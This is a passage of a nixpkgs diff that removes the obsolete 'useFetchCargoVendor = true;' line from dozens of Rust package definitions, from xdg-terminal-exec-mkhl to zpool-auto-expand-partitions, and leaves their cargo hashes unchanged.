@@ -32,7 +32,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     VERGEN_GIT_SHA = finalAttrs.src.tag;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fOaLeWtrjgBDSShC5OmBZKODNQn4bp/+iPZX5ZMQFqk=";
 
   separateDebugInfo = true;
diff --git a/pkgs/by-name/xd/xdg-terminal-exec-mkhl/package.nix b/pkgs/by-name/xd/xdg-terminal-exec-mkhl/package.nix
index 0080cb9ed227..1a31fd7b524c 100644
--- a/pkgs/by-name/xd/xdg-terminal-exec-mkhl/package.nix
+++ b/pkgs/by-name/xd/xdg-terminal-exec-mkhl/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-iVp+tg+OujMMddKsQ/T9wyqh/Jk/j/jQgsl23uQA/iM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4GNdH+cfr3hhbK3BQXHntPr0sTSl6SS56wkdTWbv8/k=";
 
   meta = {
diff --git a/pkgs/by-name/xe/xee/package.nix b/pkgs/by-name/xe/xee/package.nix
index 0985ada161e7..277a8e6d360a 100644
--- a/pkgs/by-name/xe/xee/package.nix
+++ b/pkgs/by-name/xe/xee/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-l5g2YZ4lNu+CLyya0FavDEqbJayaTXGrB8fYCr3fj0s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ora6VwYLDyFI4iA4FkygGsup8I4OvK0kkLvHs4F/YhY=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/xe/xen-guest-agent/package.nix b/pkgs/by-name/xe/xen-guest-agent/package.nix
index c9687d18a83d..a7cfc8ab64f9 100644
--- a/pkgs/by-name/xe/xen-guest-agent/package.nix
+++ b/pkgs/by-name/xe/xen-guest-agent/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-OhzRsRwDvt0Ov+nLxQSP87G3RDYSLREMz2w9pPtSUYg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-o4eQ1ORI7Rw097m6CsvWLeCW5Dtl75uRXi/tcv/Xq0Q=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/xh/xh/package.nix b/pkgs/by-name/xh/xh/package.nix
index 0e00d6618b05..f46195bd9600 100644
--- a/pkgs/by-name/xh/xh/package.nix
+++ b/pkgs/by-name/xh/xh/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-2c96O5SL6tcPSbxx8NYxG8LDX3ZgyxEMmEeJnKDwb38=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oncf3Hd85LgKn8KSDIBHXLJ3INzfp0X/Ng9OjAltLB4=";
 
   buildFeatures = lib.optional withNativeTls "native-tls";
diff --git a/pkgs/by-name/xi/xidlehook/package.nix b/pkgs/by-name/xi/xidlehook/package.nix
index 9dfe095de200..3b75ae786987 100644
--- a/pkgs/by-name/xi/xidlehook/package.nix
+++ b/pkgs/by-name/xi/xidlehook/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "1pl7f8fhxfcy0c6c08vkagp0x1ak96vc5wgamigrk1nkd6l371lb";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-U1kjOWrFEp1pZnbawW2MCtC4UN7ELD/kcYWfEmn94Pg=";
 
   buildInputs = [
diff --git a/pkgs/by-name/xi/xiu/package.nix b/pkgs/by-name/xi/xiu/package.nix
index 24f6f3c1a466..dcae1724161f 100644
--- a/pkgs/by-name/xi/xiu/package.nix
+++ b/pkgs/by-name/xi/xiu/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-EjyvCwqcPkOe69YnDiAExtBNPhsqqGa95ao+bn6wcyA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IEIZM27zQZrq63ZsCVAeOl2exuFR5tUG3Gwipjg4+oo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/xp/xplorer/package.nix b/pkgs/by-name/xp/xplorer/package.nix
index 59e50baec034..89262f3119d4 100644
--- a/pkgs/by-name/xp/xplorer/package.nix
+++ b/pkgs/by-name/xp/xplorer/package.nix
@@ -54,7 +54,6 @@ rustPlatform.buildRustPackage {
 
   sourceRoot = "${src.name}/src-tauri";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-D7qgmxDYQEgOkEYKDSLA875bXeTKDvAntF7kB4esn24=";
 
   # copy the frontend static resources to final build directory
diff --git a/pkgs/by-name/xp/xplr/package.nix b/pkgs/by-name/xp/xplr/package.nix
index b099994eaae1..a62ad0e44499 100644
--- a/pkgs/by-name/xp/xplr/package.nix
+++ b/pkgs/by-name/xp/xplr/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-QeR7KXwRGfAU31ueI6v26pKnoQdj2C7bXlcMP4qKvZg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UkyRl2eY520JPxtcOl7hvkY3MCH2bi2jL9zCJEdkQmU=";
 
   # fixes `thread 'main' panicked at 'cannot find strip'` on x86_64-darwin
diff --git a/pkgs/by-name/xq/xq/package.nix b/pkgs/by-name/xq/xq/package.nix
index ae5675c063da..d72e838ed5be 100644
--- a/pkgs/by-name/xq/xq/package.nix
+++ b/pkgs/by-name/xq/xq/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Qe+crretlKJRoNPO2+aHxCmMO9MecqGjOuvdhr4a0NU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-q8kVyj31Ne8ddMm2Q3Z/VB10SCxrq/65PH08mmtFCu4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/xr/xremap/package.nix b/pkgs/by-name/xr/xremap/package.nix
index e4d080ff4e4a..dc1542e112bf 100644
--- a/pkgs/by-name/xr/xremap/package.nix
+++ b/pkgs/by-name/xr/xremap/package.nix
@@ -33,8 +33,6 @@ let
       buildNoDefaultFeatures = true;
       buildFeatures = features;
 
-      useFetchCargoVendor = true;
-
       meta = {
         description =
           "Key remapper for X11 and Wayland"
diff --git a/pkgs/by-name/xr/xrizer/package.nix b/pkgs/by-name/xr/xrizer/package.nix
index eed6a26fbf79..e22ef2cd5902 100644
--- a/pkgs/by-name/xr/xrizer/package.nix
+++ b/pkgs/by-name/xr/xrizer/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0RICNxF8RBHthve69Z9msTg2+jegg5K4aHYRF0YZ8a4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-87JcULH1tAA487VwKVBmXhYTXCdMoYM3gOQTkM53ehE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/xw/xwayland-satellite/package.nix b/pkgs/by-name/xw/xwayland-satellite/package.nix
index 58cb0297b115..072ec5bce96e 100644
--- a/pkgs/by-name/xw/xwayland-satellite/package.nix
+++ b/pkgs/by-name/xw/xwayland-satellite/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage rec {
       --replace-fail '/usr/local/bin' "$out/bin"
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-R3xXyXpHQw/Vh5Y4vFUl7n7jwBEEqwUCIZGAf9+SY1M=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ya/yaak/package.nix b/pkgs/by-name/ya/yaak/package.nix
index a9e64db116a2..ea61fd7c2880 100644
--- a/pkgs/by-name/ya/yaak/package.nix
+++ b/pkgs/by-name/ya/yaak/package.nix
@@ -37,8 +37,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-4D7ETUOLixpFB4luqQlwkGR/C6Ke6+ZmPg3dKKkrw7c=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-YxOSfSyn+gUsw0HeKrkXZg568X9CAY1UWKnGHHWCC78=";
 
   cargoRoot = "src-tauri";
diff --git a/pkgs/by-name/ya/yambar-hyprland-wses/package.nix b/pkgs/by-name/ya/yambar-hyprland-wses/package.nix
index 2b1c8ce049f0..349bd49d8dfe 100644
--- a/pkgs/by-name/ya/yambar-hyprland-wses/package.nix
+++ b/pkgs/by-name/ya/yambar-hyprland-wses/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-furHj1AAFgNiNHP9RBsVrIvrDckSKU8FXilzH9TQ99c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bAJ8TTlSgXDYC7gSTuSISIS1HH0jCF9W5WswZhw94vQ=";
 
   meta = {
diff --git a/pkgs/by-name/ya/yara-x/package.nix b/pkgs/by-name/ya/yara-x/package.nix
index e0c768c7a76b..ac2efd9a29a1 100644
--- a/pkgs/by-name/ya/yara-x/package.nix
+++ b/pkgs/by-name/ya/yara-x/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-C8wBGmilouNcNN3HkwvSTWcZY1fe0jVc2TeWDN4w5xA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-afCBuWr12trjEIDvE0qnGFxTXU7LKZCzZB8RqgqperY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ya/yarn-berry/fetcher/yarn-berry-fetcher.nix b/pkgs/by-name/ya/yarn-berry/fetcher/yarn-berry-fetcher.nix
index dad0e1fbfed2..2ab308b5901c 100644
--- a/pkgs/by-name/ya/yarn-berry/fetcher/yarn-berry-fetcher.nix
+++ b/pkgs/by-name/ya/yarn-berry/fetcher/yarn-berry-fetcher.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-Qfhx1lwd050GabP2Xj0kRi4nIlOHUE4xbZO0kO0IJ8A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tOu1x8kmVCXKvthV0xyzisTb7BwOtfWTyu/cv4HRbpc=";
 
   env.YARN_ZIP_SUPPORTED_CACHE_VERSION = berryCacheVersion;
diff --git a/pkgs/by-name/ya/yaydl/package.nix b/pkgs/by-name/ya/yaydl/package.nix
index 8ad5b99c893f..8ea6c82fb922 100644
--- a/pkgs/by-name/ya/yaydl/package.nix
+++ b/pkgs/by-name/ya/yaydl/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-r+UkwEtuGL6los9ohv86KA/3qsaEkpnI4yV/UnYelgk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pljSw8iQFV6ymg2GKwI+P7R4jvysyFFC1EM25Wi8Los=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ya/yazi-unwrapped/package.nix b/pkgs/by-name/ya/yazi-unwrapped/package.nix
index 25f0becdca75..f4b096abb227 100644
--- a/pkgs/by-name/ya/yazi-unwrapped/package.nix
+++ b/pkgs/by-name/ya/yazi-unwrapped/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   sourceRoot = finalAttrs.passthru.srcs.code_src.name;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-g+6RawDZsgYnXiybhaiosOfz/k4LHe5iX+VqHikfPzM=";
 
   env.YAZI_GEN_COMPLETIONS = true;
diff --git a/pkgs/by-name/ye/yek/package.nix b/pkgs/by-name/ye/yek/package.nix
index 1f5ae2ee42a2..800212911cbc 100644
--- a/pkgs/by-name/ye/yek/package.nix
+++ b/pkgs/by-name/ye/yek/package.nix
@@ -20,7 +20,7 @@ rustPlatform.buildRustPackage {
     tag = "v${version}";
     hash = "sha256-GAG5SCcxWL0JbngE2oOadVhOt2ppep6rIbYjIF2y3jI=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-uShKrH4fdLDJX4ZX0TWXCyFctEH0C98B/STY9j6aH8A=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ye/yew-fmt/package.nix b/pkgs/by-name/ye/yew-fmt/package.nix
index 52763818adc1..64c6a819b2f5 100644
--- a/pkgs/by-name/ye/yew-fmt/package.nix
+++ b/pkgs/by-name/ye/yew-fmt/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
   cargoHash = "sha256-oIliRYc6HU8KFmlTTIlV+nmeRUx1gJhy93QjPnGxiK8=";
   nativeCheckInputs = [ rustfmt ];
   passthru.updateScript = nix-update-script { };
-  useFetchCargoVendor = true;
 
   meta = {
     description = "Code formatter for the Yew framework";
diff --git a/pkgs/by-name/ye/yex-lang/package.nix b/pkgs/by-name/ye/yex-lang/package.nix
index 401a384468de..f610f0d01e3d 100644
--- a/pkgs/by-name/ye/yex-lang/package.nix
+++ b/pkgs/by-name/ye/yex-lang/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-sxzkZ2Rhn3HvZIfjnJ6Z2au/l/jV5705ecs/X3Iah6k=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Kz/7BFBmTK8h6nO+jrSYh2p0GMlT1E0icmLXC+mJVmg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/yg/yggdrasil-jumper/package.nix b/pkgs/by-name/yg/yggdrasil-jumper/package.nix
index b618005a19ae..b4a86fabeb91 100644
--- a/pkgs/by-name/yg/yggdrasil-jumper/package.nix
+++ b/pkgs/by-name/yg/yggdrasil-jumper/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Op3KBJ911AjB7BIJuV4xR8KHMxBtQj7hf++tC1g7SlM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EbG83rGlUbiJC1qm9H1+YrCFSq23kSDeW7KMHP8Wee8=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/yo/yofi/package.nix b/pkgs/by-name/yo/yofi/package.nix
index b9030eceb27f..17974eac6f77 100644
--- a/pkgs/by-name/yo/yofi/package.nix
+++ b/pkgs/by-name/yo/yofi/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UCJlBVQb4aLObi5hqXnh/FAD7l2VSocAlqmYMlxLUJc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/yo/you-have-mail-cli/package.nix b/pkgs/by-name/yo/you-have-mail-cli/package.nix
index 971bad470f65..3d85e9eabcfd 100644
--- a/pkgs/by-name/yo/you-have-mail-cli/package.nix
+++ b/pkgs/by-name/yo/you-have-mail-cli/package.nix
@@ -44,7 +44,6 @@ rustPlatform.buildRustPackage {
       vendorHash = "sha256-QPj2jq8hWL4kZellM/VwqrO/Oku/JW1Cig1Iv5YSI1U=";
     }).goModules;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-w2hrrFHpgeAPcP/swerZu0VJ34T/9/JeQkipp4IQ2js=";
 
   meta = {
diff --git a/pkgs/by-name/yo/youki/package.nix b/pkgs/by-name/yo/youki/package.nix
index 66aa0c0940cd..aa77f4b70479 100644
--- a/pkgs/by-name/yo/youki/package.nix
+++ b/pkgs/by-name/yo/youki/package.nix
@@ -53,7 +53,6 @@ rustPlatform.buildRustPackage rec {
     "youki"
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nRlvvr73glmpFsWb2Pi1icZl7d85/8iX2rHnNXv4ep8=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/yo/youtube-tui/package.nix b/pkgs/by-name/yo/youtube-tui/package.nix
index 7c2a4d7f3f60..fa9ae952a508 100644
--- a/pkgs/by-name/yo/youtube-tui/package.nix
+++ b/pkgs/by-name/yo/youtube-tui/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-PAQkFg9SV6q3No5drYPPJZXzQ/XqtOhMr3eQOCnM+7Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AjqxuNEyuDkYYuvi6Oii3/BfKFNUoJiBH4cS8cb7yMs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/yt/ytermusic/package.nix b/pkgs/by-name/yt/ytermusic/package.nix
index ad6d2d38889f..427862a9a177 100644
--- a/pkgs/by-name/yt/ytermusic/package.nix
+++ b/pkgs/by-name/yt/ytermusic/package.nix
@@ -24,8 +24,6 @@ rustPlatform.buildRustPackage rec {
     ./time-crate.patch
   ];
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-5KbqX8HU7s5ZLoCVUmZhvrliAl3wXV4/nMEI5tq2piU=";
 
   doCheck = true;
diff --git a/pkgs/by-name/yt/ytui-music/package.nix b/pkgs/by-name/yt/ytui-music/package.nix
index e0ca6316a014..b1588d96e2fe 100644
--- a/pkgs/by-name/yt/ytui-music/package.nix
+++ b/pkgs/by-name/yt/ytui-music/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-f/23PVk4bpUCvcQ25iNI/UVXqiPBzPKWq6OohVF41p8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-I+ciLSMvV9EqlfA1+/IC1w7pWpj9HHF/DTfAbKw2CVM=";
 
   checkFlags = [
diff --git a/pkgs/by-name/zb/zbus-xmlgen/package.nix b/pkgs/by-name/zb/zbus-xmlgen/package.nix
index a5e85c588470..49f3c580fdef 100644
--- a/pkgs/by-name/zb/zbus-xmlgen/package.nix
+++ b/pkgs/by-name/zb/zbus-xmlgen/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LHY4E2YemGksK8xJx0r3iTHnk3CqMl5abM08VSBPIfo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-g5GLyloeyVXcJgMVx21ePYlcYUj+NGFtVarpYeQN9rw=";
 
   nativeBuildInputs = [ makeBinaryWrapper ];
diff --git a/pkgs/by-name/ze/zed-editor/package.nix b/pkgs/by-name/ze/zed-editor/package.nix
index 38f14d49d835..6e0412eb3453 100644
--- a/pkgs/by-name/ze/zed-editor/package.nix
+++ b/pkgs/by-name/ze/zed-editor/package.nix
@@ -138,7 +138,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
         --replace-fail "inner.redirect(policy)" "inner.redirect_policy(policy)"
     '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YhdwCNTbBphWugguoWQqrGf2fRB5Jv40MElW6hbcxtk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ze/zeekstd/package.nix b/pkgs/by-name/ze/zeekstd/package.nix
index 424954b4823c..1febe2529fef 100644
--- a/pkgs/by-name/ze/zeekstd/package.nix
+++ b/pkgs/by-name/ze/zeekstd/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-URQ8UiCy8qnm0VM55BqPgIthR4AIyRk+fgowAFxvXwM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lS4RQuwvY6bRpsev7RI3XWBPbrdek5im/rkzP+Cmgpc=";
 
   meta = {
diff --git a/pkgs/by-name/ze/zenith/package.nix b/pkgs/by-name/ze/zenith/package.nix
index fe2e34fbe294..53988913aa11 100644
--- a/pkgs/by-name/ze/zenith/package.nix
+++ b/pkgs/by-name/ze/zenith/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     rm .cargo/config
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xfp+nR4ihaTO4AZHizYg4qqf9MR030Qb5bN2nzhbytQ=";
 
   nativeBuildInputs = [ rustPlatform.bindgenHook ] ++ lib.optional nvidiaSupport makeWrapper;
diff --git a/pkgs/by-name/ze/zenoh-backend-filesystem/package.nix b/pkgs/by-name/ze/zenoh-backend-filesystem/package.nix
index f0118bb9af23..6cd00d67ee4a 100644
--- a/pkgs/by-name/ze/zenoh-backend-filesystem/package.nix
+++ b/pkgs/by-name/ze/zenoh-backend-filesystem/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-AQHJkUE2utFn4910+KGnf0wdXDMO6AmLVq1glp6k8Fc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-batUPE2/goNxmxNDW11EC3+ImrPv3UouuKHKSDDd4Gs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ze/zenoh-backend-influxdb/package.nix b/pkgs/by-name/ze/zenoh-backend-influxdb/package.nix
index edb7ab5a5a5b..a4637c27c2fc 100644
--- a/pkgs/by-name/ze/zenoh-backend-influxdb/package.nix
+++ b/pkgs/by-name/ze/zenoh-backend-influxdb/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Bdsu/1+lotvGyvKia8ZxRnD0o2Y2yoq5xmok4/hE0mI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YcDTwbaVRpl+xULArqSwjni9pWhgE8XGcY67xiDxFa4=";
 
   meta = {
diff --git a/pkgs/by-name/ze/zenoh-backend-rocksdb/package.nix b/pkgs/by-name/ze/zenoh-backend-rocksdb/package.nix
index ebae909402f2..b7a96418712f 100644
--- a/pkgs/by-name/ze/zenoh-backend-rocksdb/package.nix
+++ b/pkgs/by-name/ze/zenoh-backend-rocksdb/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pqeeH44/0+ok/DmH81JykvwOIC/pIUiLjzPzVEnekag=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dUQ9qGE+QphDH/vW1LXWzkJE2GSOU7Sn+xCENOvTsSc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ze/zenoh-plugin-mqtt/package.nix b/pkgs/by-name/ze/zenoh-plugin-mqtt/package.nix
index 2d0749368080..9fb216afd6f0 100644
--- a/pkgs/by-name/ze/zenoh-plugin-mqtt/package.nix
+++ b/pkgs/by-name/ze/zenoh-plugin-mqtt/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-5/obCmi9rbbe9kEkAQTla/4W8ebKj80F4sLKli6oSmw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tMvBAn2FCpvT9O96Nt646t3LMWqhBHWWzRrMGVP1G1g=";
 
   # Some test time out
diff --git a/pkgs/by-name/ze/zenoh-plugin-webserver/package.nix b/pkgs/by-name/ze/zenoh-plugin-webserver/package.nix
index 1a04bf89d709..3e38dbd41ae5 100644
--- a/pkgs/by-name/ze/zenoh-plugin-webserver/package.nix
+++ b/pkgs/by-name/ze/zenoh-plugin-webserver/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GvJWyH0kW6POQaliPhahEFen1CcwDrrQNMdL2LtHkmc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-S6Dn7ZOfonUo5FMh0rMzrZiKMaBjYDZs2LeUUAVCJOw=";
 
   meta = {
diff --git a/pkgs/by-name/ze/zenoh/package.nix b/pkgs/by-name/ze/zenoh/package.nix
index ac38986f3bdb..7ccaffe12092 100644
--- a/pkgs/by-name/ze/zenoh/package.nix
+++ b/pkgs/by-name/ze/zenoh/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-iwimXL1jcBLwaek9tmvGuow56+LMCyA5qkvHsn72m+c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UF5tZyAYluSZ+jR03W7h0azAGiNw48Hum1Si0G5lTqA=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/ze/zeronsd/package.nix b/pkgs/by-name/ze/zeronsd/package.nix
index 0c1cc9f88052..d881d4720aef 100644
--- a/pkgs/by-name/ze/zeronsd/package.nix
+++ b/pkgs/by-name/ze/zeronsd/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-TL0bgzQgge6j1SpZCdxv/s4pBMSg4/3U5QisjkVE6BE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xIuMANJGRHbYBbhlVMXxIVrukW1NY7ucxO79tIdPSpI=";
 
   strictDeps = true;
diff --git a/pkgs/by-name/ze/zet/package.nix b/pkgs/by-name/ze/zet/package.nix
index 747659a22ca4..2391c84f26f2 100644
--- a/pkgs/by-name/ze/zet/package.nix
+++ b/pkgs/by-name/ze/zet/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1nuYdaQ6p0tnd7a7/H8wVtzOCGr0pCTcsT+Q0X9/DGc=";
 
   # tests fail with `--release`
diff --git a/pkgs/by-name/zi/zine/package.nix b/pkgs/by-name/zi/zine/package.nix
index d592b14611f7..4ea91106fd2a 100644
--- a/pkgs/by-name/zi/zine/package.nix
+++ b/pkgs/by-name/zi/zine/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pUoMMgZQ+oDs9Yhc1rQuy9cUWiR800DlIe8wxQjnIis=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6SIwOkLQ6rayhRQEMSCm72mMhGJ6NlIBq4aKukXURdM=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/zi/zizmor/package.nix b/pkgs/by-name/zi/zizmor/package.nix
index 4a41f7e0b07c..592fac723dcd 100644
--- a/pkgs/by-name/zi/zizmor/package.nix
+++ b/pkgs/by-name/zi/zizmor/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-llxIuWgaRNJsl/piQ1BMqvE2MKnSnR5qxjLFqZ5z13I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OVGaHLA/VzF8wGrWrHaKpYDcp4ZeR9mf2s5I+u5ddcs=";
 
   nativeBuildInputs = lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
diff --git a/pkgs/by-name/zk/zktree/package.nix b/pkgs/by-name/zk/zktree/package.nix
index 36f7b50f0a36..5cbdfc9cadb7 100644
--- a/pkgs/by-name/zk/zktree/package.nix
+++ b/pkgs/by-name/zk/zktree/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "11w86k1w5zryiq6bqr98pjhffd3l76377yz53qx0n76vc5374fk9";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-h6tDAcWOS1MikPMXiH0eQzkQIqVEC8rSsWbufGsh1CI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/zl/zluda/package.nix b/pkgs/by-name/zl/zluda/package.nix
index 7ffb292133af..ced854e96993 100644
--- a/pkgs/by-name/zl/zluda/package.nix
+++ b/pkgs/by-name/zl/zluda/package.nix
@@ -50,7 +50,6 @@ rustPlatform.buildRustPackage rec {
     clang
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hDQWjzkx7YdkgSmNKTzCa2VhBFvn6P9QANV9hJ7UiT8=";
 
   # xtask doesn't support passing --target, but nix hooks expect the folder structure from when it's set
diff --git a/pkgs/by-name/zo/zola/package.nix b/pkgs/by-name/zo/zola/package.nix
index 9014dec615c5..3ebc75294556 100644
--- a/pkgs/by-name/zo/zola/package.nix
+++ b/pkgs/by-name/zo/zola/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pk7xlNgYybKHm7Zn6cbO1CMUOAKVtX1uxq+6vl48FZk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3Po9PA5XJeiwkMaq/8glfaC1E7QmSeuR81BwOyMznOM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/zo/zoxide/package.nix b/pkgs/by-name/zo/zoxide/package.nix
index 5a26b266bd62..621b3cea5698 100644
--- a/pkgs/by-name/zo/zoxide/package.nix
+++ b/pkgs/by-name/zo/zoxide/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
       --replace '"fzf"' '"${fzf}/bin/fzf"'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uqIL8KTrgWzzzyoPR9gctyh0Rf7WQpTGqXow2/xFvCU=";
 
   postInstall = ''
diff --git a/pkgs/by-name/zp/zpool-auto-expand-partitions/package.nix b/pkgs/by-name/zp/zpool-auto-expand-partitions/package.nix
index 9be65fb00460..d38a16d8f06b 100644
--- a/pkgs/by-name/zp/zpool-auto-expand-partitions/package.nix
+++ b/pkgs/by-name/zp/zpool-auto-expand-partitions/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-N1znZbJULEeNR4ABSrUtHHkmz08N+CZqX6Ni7jFzc4c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xxTnNwqDlym4Bviek38PRUwmPKUSTnI9GOEYYyBxW+s=";
 
   preBuild = ''
diff --git a/pkgs/development/compilers/dart/package-source-builders/flutter_discord_rpc/default.nix b/pkgs/development/compilers/dart/package-source-builders/flutter_discord_rpc/default.nix
index ee3a129a57b3..b4aec34f897c 100644
--- a/pkgs/development/compilers/dart/package-source-builders/flutter_discord_rpc/default.nix
+++ b/pkgs/development/compilers/dart/package-source-builders/flutter_discord_rpc/default.nix
@@ -14,8 +14,6 @@ let
 
     buildAndTestSubdir = "rust";
 
-    useFetchCargoVendor = true;
-
     cargoHash =
       {
         _1_0_0 = "sha256-C9WDE9+6V59yNCNVeMUY5lRpMJ+8XWpHpxzdTmz+/Yw=";
